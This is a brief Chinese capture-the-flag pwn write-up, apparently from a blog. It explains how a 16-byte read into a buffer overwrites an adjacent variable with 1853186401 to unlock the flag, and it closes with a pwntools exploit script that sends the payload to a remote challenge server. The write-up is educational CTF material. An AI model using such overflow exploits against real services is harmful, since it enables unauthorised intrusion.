0x0 程序保护和流程
保护:
![](https://img-blog.csdnimg.cn/20200506225109136.png)
流程:
main()
![](https://img-blog.csdnimg.cn/20200506225109143.png)
subsub_400686():
![](https://img-blog.csdnimg.cn/20200506225109129.png)
当dword_60106C = 1853186401 时进入subsub_400686()函数获得flag。
0x1 利用
仔细分析后可以发现
![](https://img-blog.csdnimg.cn/20200506225109149.png)
两个数据是相邻的,我们可以通过read函数改写dword_60106C的值从而获得flag。unk_601068和dword_60106C 只相差四个字节,read函数可以输入16个字节。当unk_601068=‘a’*4+p64(1853186401)时可以获得flag。
0x2 exp
from pwn import *
#sh=process('./a')
sh=remote('124.126.19.106','42639')
sh.recv()
payload='a'*4+p64(1853186401)
sh.sendline(payload)
sh.recv()